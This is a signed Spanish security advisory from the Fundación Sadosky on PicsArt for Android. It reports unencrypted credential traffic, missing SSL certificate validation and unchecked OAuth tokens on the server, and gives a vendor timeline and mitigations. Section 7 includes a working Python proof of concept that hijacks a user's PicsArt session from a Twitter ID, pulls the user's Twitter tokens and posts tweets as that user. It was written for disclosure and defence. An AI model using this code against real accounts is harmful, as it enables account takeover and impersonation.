[LACNIC/Seguridad] Manejo inseguro de credenciales de usuario en PIcsArt para Android [STIC-2014-0426]

Lun Nov 10 11:55:25 BRST 2014

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

	Fundación Dr. Manuel Sadosky - Programa STIC Advisory
		www.fundacionsadosky.org.ar

*Manejo inseguro de credenciales de usuario en PicsArt app para Android*

1. *Información del reporte*

Título: Manejo inseguro de credenciales de usuarios en aplicación
PicsArt para Android
Reporte ID: STIC-2014-0426
Reporte URL: http://www.fundacionsadosky.org.ar/publicaciones-2
Fecha de publicación: 2014-11-06
Fecha de última actualización: 2014-11-06
Fabricantes contactados: PicsArt
Modo de publicación: Unilateral

2. *Información de vulnerabilidades*

Clase: Improper Certificate Validation [CWE-295], Insufficiently
Protected Credentials [CWE-522]
Impacto: Perdida de datos
Remotamente explotable: Si
Localmente explotable: Si
Identificador CVE: CVE-2014-5674, CVE-2014-NOCVE

3. *Descripción de vulnerabilidad*

  PicsArt Photo Studio es una aplicación gratuita disponible para
Android, iOS y Windows Phone que permite a un usuario editar sus
fotos, añadirles efectos y compartirlas con otros usuarios. A Octubre
del 2014 la versión para Android de la aplicación tiene entre 100 y
500 millones de descargas en el mercado de aplicaciones Google Play.
Según el fabricante, la aplicación ha sido instalada más de 175
millones de veces, crece mensualmente en 7 millones de descargas y
tiene 45 millones de usuarios registrados activos por mes[1]. La
aplicación permite a sus usuarios tomar, editar, publicar y compartir
fotos en la página de PicsArt y en redes sociales como Facebook,
Twitter y Google+ directamente desde la aplicación móvil.

  Originalmente la aplicación de PicsArt para Android[2] no utilizaba
HTTPS para enviar datos sensibles a sus servidores, permitiendo que un
atacante tomara el control de cuentas de usuarios con solo capturar el
tráfico de red. Después que reportamos el problema al fabricante, la
aplicación empezó a utilizar HTTPS pero sin validar los certificados
SSL presentados por el servidor al establecerse la comunicación, lo
que permite a un atacante realizar ataques de intermediación
(Man-In-The-Middle). La consecuencia es que un atacante todavía puede
obtener el control de la cuenta de un usuario cualquiera de PicsArt si
captura el identificador de usuario de Picsart que se manda como valor
del parámetro 'key' en algunos pedidos HTTP con verbo GET.

  También se identificaron otros problemas: Un usuario puede
registrarse e iniciar una sesión con el servicio de PicsArt  usando un
esquema de usuario (dirección de correo electrónico) y clave o
utilizando su cuenta ya existente en una red social de terceros como
Facebook, Twitter, Google+, etc. Cuando se utiliza una cuenta de otra
red social registrarse e iniciar la sesión, la aplicación móvil de
PicsArt interactúa con el servidor de la red social y obtiene un
identificador de usuario y un token de acceso que envía al servidor de
PicsArt para identificar al usuario. Esto significa que tanto la
aplicación corriendo en el dispositivo móvil, como los servidores de
PicsArt pueden asumir la identidad del usuario en las redes sociales
que utiliza.

  Durante el procedimiento de inicio de sesión, el servidor de PicsArt
no verifica que los tokens de acceso de Google+, Facebook y Twitter
sean válidos. A consecuencia de ello, un atacante puede enviar un
pedido de inicio de sesión dando el identificador de cualquier usuario
de una red social y obtener las credenciales de PicsArt asociadas a
ese usuario de Google+, Facebook o Twitter. Esto permite a un atacante
obtener acceso a cualquier cuenta de un usuario de PicsArt creada a
partir de una cuenta de red social de terceros.

  Además. el atacante puede también puede obtener los tokens de acceso
para cuentas en redes sociales de terceros (Facebook, Twitter,
Google+) de cualquier usuario de PicsArt. Este problema afecta a todos
los usuarios de PicsArt que accedan a su cuenta mediante
Google+/Facebook/Twitter.

4. *Paquetes vulnerables*

   . La aplicación PicsArt Photo Studio para Android versión 4.6.12 o
anterior pero posterior a la 4.6.3 usa HTTPS pero no valida
correctamente el certificado SSL del servidor.
   . La aplicación PicsArt Photo Studio para Android versión 4.6.3 o
anterior pero posterior a la 4.2.2 usa HTTP y HTTPS sin validar
correctamente el certificado SSL del servidor.
   . La aplicación PicsArt Photo Studio para Android versión 4.2.2 o
anterior no usa HTTPS y transmite datos sensibles sin cifrar.

5. *Información y soluciones del fabricante*

     Después del reporte inicial al fabricante, PicsArt publicó una
nueva versión de la aplicación (4.2.2) que utilizaba HTTPS para la
mayor parte de, pero no todas, las comunicaciones con la API del
servidor. Desde la versión 4.6.3 todas las comunicaciones se hacen vía
HTTPS y no se filtra la clave de identificación de usuario. Sin
embargo, a la fecha de publicación de este boletín de seguridad
ninguna versión de la aplicación, incluyendo la actual (4.6.12),
valida correctamente el certificado SSL del servidor, por lo cual
todavía es posible realizar ataques de tipo "Man-in-the-Middle" y
comprometer cuentas de usuarios.

     El servidor sigue sin validar los tokens de acceso presentados
por el pedido de login de un usuario.

      Una solución para evitar que los atacantes comprometan su cuenta
de Facebook, Twitter o Google+ es deshabilitar el  acceso de la
aplicación PicsArt a su perfil. Desde Facebook o Twitter vaya a
"Ajustes | App" y elimine la aplicación PicsArt de la lista de
aplicaciones. Para Google+ vaya a "Cuenta | Seguridad | Aplicaciones y
sitios web" y haga clic en el acceso revocación de la aplicación PicsArt.

      Se recomienda a los usuarios preocupados por la protección de su
privacidad y la seguridad de sus datos personales dejar de usar la
aplicación hasta tanto el fabricante publique una versión que realice
correctamente la validación de los certificados SSL y solucione el
problema de verificación de credenciales de acceso en el servidor.

6. *Créditos*
Las vulnerabilidades fueron descubiertas e investigadas por Joaquín
Manuel Rinaudo. La publicación de este reporte fue coordinada por
Programa Seguridad en TIC.
       Will Dormann de CERT/CC descubrió de forma independiente el
problema de validación de certificados SSL utilizando la herramienta
CERT Tapioca.[5]

7. *Descripción técnica*

      Un usuario puede registrarse en PicsArt utilizando su cuenta de
Facebook[3], Twitter[4]  o Google+ o utilizando un email y una
contraseña. Cuando se registra utilizando una red social, la
aplicación de PicsArt utiliza el protocolo de OAuth para comunicarse
con ese sitio. Si el usuario le concede el acceso, a la aplicación se
le otorga un token de acceso de esa red (Facebook/Twitter/Google+) que
puede ser utilizado para acceder a la información del perfil del
usuario o realizar acciones en representación del usuario utilizando
la API de la red social correspondiente.

     La aplicación de PicsArt luego sube el token de acceso al
servidor junto con el ID del usuario así el servidor puede crear una
nueva cuenta asociada con ese usuario. Hasta la versión 4.2.2 de
PicsArt, esta comunicación se llevaba a cabo por HTTP. Un atacante que
capturara el pedido para 'https://api.picsart.com/users/signin.json'
podría obtener los tokens de acceso de Facebook, Twitter y Google+ así
como obtener las claves de sesión de ese usuario de PicsArt.

      Después que le reportamos el problema al fabricante, Picsart
lanzó la versión 4.6.3 de la aplicación que usa HTTPS con el propósito
de evitar tanto ataques de Man-in-the-Middle como de robo de sesiones.
Desafortunadamente, el uso de HTTPS no solucionó el problema.

      El objeto 'socket' usado para realizar la conexión con el
servidor de PicsArt utiliza un X509TrustManager propio. La tarea de un
TrustManager es validar el certificado presentado por el servidor para
prevenir de ataques de Man-in-the-Middle. La clase
'com.socialin.android.util.w' establece una clase SSLSocketFactory por
defecto que instancia objetos con TrustManager y  HostNameVerifier
vacio. Debido a esto, cualquier certificado SSL presentado por un
servidor es considerado válido, lo cual permite montar ataques de tipo
MITM, interceptando el tráfico de red, creando un certificado falso en
el momento y presentandolo a la aplicación móvil en reemplazo del
certificado legítimo del servidor de PicsArt.

      Además, hasta la versión 4.6.3 algunos pedidos seguían
utilizando HTTP. Por ejemplo, cuando un usuario abre la aplicación, se
realiza un pedido a  'https://api.picsart.com/users/show/me.json' para
obtener información relacionada al usuario. Como estos pedidos
obtienen la clave de sesión del usuario, el robo de sesiones todavía
es posible capturando el tráfico. Esto fue solucionado en la versión
4.6.3.

      Cuando se inspeccionó el uso de la API del servidor que hace la
aplicación se descubrieron mas problemas. Como se dijo previamente,
cuando un usuario se logea a PicsArt utilizando su cuenta de la red
social, la aplicación realiza un pedido de POST de HTTP que incluye el
token de acceso del usuario junto con otro tipo de información como su
nombre, email e identificador del usuario de esa red social. El
servidor no verifica el que token de acceso provisto sea válido para
una cuenta ya creada y responde con la clave de sesión del usuario
asociada a ese ID de la red social. Esto permite a un atacante obtener
acceso a cuentas de usuario con sólo conocer el nombre de usuario o
perfil de su red social.

      Un atacante también puede obtener los tokens de acceso a las
redes sociales conectadas al perfil del usuario de PicsArt realizando
un pedido al servidor con la clave de sesión obtenida en el paso
previo. Por ejemplo, si un usuario tiene su cuenta de Twitter
conectada a su cuenta de PicsArt, la respuesta del servidor al perfil
del usuario incluye los valores OAUTH_TOKEN y OAUTH_TOKEN_SECRET del
usuario. Dado a que la aplicación tiene embebido los valores de
APP_KEY y APP_SECRET en su código, un atacante tiene toda la
información necesaria para acceder a la cuenta de Twitter del usuario
haciendose pasar por la aplicación de PicsArt. Como la aplicación
tiene permisos de escritura y lectura sobre esa red, un atacante
podría publicar nuevos tweets.

      El siguiente programa en Python demuestra que ,conociendo
solamente el ID de Twitter de un usuario de PicsArt, es posible
obtener del servidor de Picsart la clave de sesion del usuario y con
ella obtener el token de accesso a su cuenta de Twitter y publicar
mensajes en su nombre:

/-----
import sys
import urllib
import urllib2
from twython import Twython
import json
import traceback

APP_KEY='PICSART APP KEY'
APP_SECRET='PICSART APP TOKEN'
OAUTH_TOKEN=''
OAUTH_TOKEN_SECRET=''

def obtain_key(twitter_id):
  url = 'https://api.picsart.com/users/signin.json'
  only_twitter_id =
'''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}'''
%twitter_id
  data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter'
  req = urllib2.Request(url, data)
  response = urllib2.urlopen(req)
  jsonobject = json.loads(response.read())
  return jsonobject['key']

def obtain_twitter_token(key):
  url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key
  response = urllib2.urlopen(url)
  data = json.loads(response.read())
  print data
  global OAUTH_TOKEN
  OAUTH_TOKEN = data['response'][0]['token']
  global OAUTH_TOKEN_SECRET
  OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret']

def post_on_twitter():
  twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET)
  print twitter.verify_credentials()
  twitter.update_status(status='Using twitter!')

if __name__ == '__main__':
  if len(sys.argv) < 1:
    print "No Twitter ID specified"
    exit(0)
  userKey =obtain_key(sys.argv[1])
  print "User key for accessing user's Picsart account is %s" %userKey
  try:
    obtain_twitter_token(userKey)
    post_on_twitter()
  except:
    traceback.print_exc()
    print "Failed accessing user's Twitter account"
    pass

- -----/

8. *Cronología del reporte*

. 2014-05-05:
Programa Seguridad en TIC envió al fabricante una descripción de las
vulnerabilidades encontradas: validación incorrecta de los tokens de
acceso y el uso de HTTP no cifrado para comunicación con el servidor.

. 2014-05-07:

          PicsArt indicó que los problemas ya eran conocidos y que
debido a problemas técnicos habían cambiado temporalmente a HTTP pero
que en la nueva versión 4.2.2 regresarían a HTTPS.

. 2014-05-07:

          El investigador comunicó a PicsArt que inspeccionó la nueva
versión publicada y que, aunque la aplicación utilizada HTTPS, falta
la validación del certificado. Además, Programa Seguridad en TIC le
comunicó que los problemas con la validación de los tokens de acceso
no estaban resueltos. Se  notificó al fabricante que se estableció una
fecha tentativa de publicación del reporte para el 21 de Mayo.

. 2014-06-05:

          Después de no recibir ninguna respuesta, Programa Seguridad
en TIC  pregunta a PicsArt sobre su plan para arreglar los problemas
discutidos.

. 2014-06-05:

          PicsArt informó que estaban publicando una nueva versión
beta con arreglos en seguridad pero no hubo ninguna explicación sobre
que se arreglaba.

. 2014-09-11:
Programa Seguridad en TIC agregó al Equipo de Respuesta a Emergencias
de Seguridad (CERT/CC) de EEUU a la conversación debido a que ellos
también descubrieron el problema de validación de certificados SSL
durante las actividades de su proyecto CERT Tapioca [5].

. 2014-09-11:

       El fabricante aseguro que estaban por publicar una nueva
versión 4.6.3 en la que no enviaría la clave del usuario por HTTP.

. 2014-09-16:
Programa Seguridad en TIC preguntó a PicsArt sobre la fecha de
publicación de dicha versión y le informó al fabricante que la
aplicación estaba utilizando una librería externa para implementar
llamados a la API del servidor ([6]) y que ella era una de las fuentes
del problema de no validar bien los certificados ya a que
intencionalmente se llamaban a algunos métodos de la librería para
evitar el proceso de validación.

. 2014-09-17:

        El fabricante envió al investigador una versión beta de la
aplicación corregida para para no evitar validar los certificados.

. 2014-09-18:
Programa Seguridad en TIC  notificó a PicsArt que, a pesar de las
modificaciones hechas, el problema de validación de los tokens del
servidor y de certificados seguía sin resolverse. El último se debía a
que la aplicación definía de forma insegura a los SSLSocketFactory y
HostnameVerifier utilizados por defecto. El investigador le indicó al
fabricante la clase donde se definían dichos valores por defecto.

. 2014-11-06:

        Se publica este boletín de seguridad.

9. *Referencias*

[1] About PicsArt.
    http://picsart.com/about
[2] PicsArt Photo Studio.
    https://play.google.com/store/apps/details?id=com.picsart.studio
[3] Facebook Login for Android.
  https://developers.facebook.com/docs/android/login-with-facebook/v2.2
[4] Sign in with Twitter.
    https://dev.twitter.com/web/sign-in
[5] Vulnerability Note VU#582497. Multiple Android applications fail
to properly validate SSL certificates.
    http://www.kb.cert.org/vuls/id/582497
[6] Java HTTP Request Library.
    https://github.com/kevinsawicki/http-request

10. *Acerca Fundación Dr. Manuel Sadosky*

La Fundación Dr. Manuel Sadosky es una institución público privada
cuyo objetivo es favorecer la articulación entre el sistema científico
– tecnológico y la estructura productiva en todo lo referido a la
temática de las Tecnologías de la Información y la Comunicación (TIC).
Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional,
la Fundación es presidida por el ministro de Ciencia, Tecnología e
Innovación Productiva. Sus vicepresidentes son los presidentes de las
cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de
Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y
Comunicaciones de la República Argentina). Para más información
visitar: http://www.fundacionsadosky.org.ar

11. *Derechos de autor*

El contenido de este reporte tiene copyright (c) 2014 Fundación
Sadosky y se publica bajo la licencia Creative Commons Attribution
Non-Commercial Share-Alike 4.0:
http://creativecommons.org/licenses/by-nc-sa/4.0/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.17 (Darwin)
Comment: GPGTools - http://gpgtools.org

iQIcBAEBAgAGBQJUYMPNAAoJEOAj8IJkRx2rYToP/2pySPPsNE1o85fb1aeMHPO3
JoSU4ZmRGvmH6STeHLi4pk/+OpY8U/bBsfvkPjlM75kpr7pV/bfSyGEl+2w7uliD
SqdXIp4Bd8hBCaMi0ujGjl1kqpuRLIkvAC2A+kvB+PjhQdbxf5it0M/c1cs60snb
axgPBqM8zHDJA5q1jFz5MNQ547Zyo2dOeux/jHzKFss/PBC+Cgr2MWkzhdRMANH7
EWyDhjbMir17Kq1w57IHkrlUVPHMEQgUKK98E850nDvozG2o8Kc2ay65jsHCp45H
RIflZFLnDLhodSFv0dJPQmlj8LJ0vcDLIxr1DDxH9dw9U1Mm2PKvL6vOSMWtTRLb
hw7NfUKJIPJPSa8ZfJSrGYfHGolG7VOlorn2B19+hYWeYwyzj36z86/QSMkHHDoI
0iNm8m35NWHb0YCpcPPHWWulh3KoTgc4yNkv8wB+f0Bg2iBxYTbHiEcinII9gAuD
/uwc0gKaPbjYCNdbPI2pFCqYVNo7VI6I6UqG1SqKR5mpM6WP2Eq95zswGcGjsuVx
2qjc9+xtLJ9Ee5bG+HyRV7ZBxvGX0HSUyrOJnzT5AW/ZfRnDtMIFhBJ7REC+R429
ieMDKeh2stGhXrF+gH27X5KiguPRU5OfukxT6t+823WnIgvDFHaBVRMQJIjOZcLd
UuhIPVhizuc84lfE5zm0
=uGXa
-----END PGP SIGNATURE-----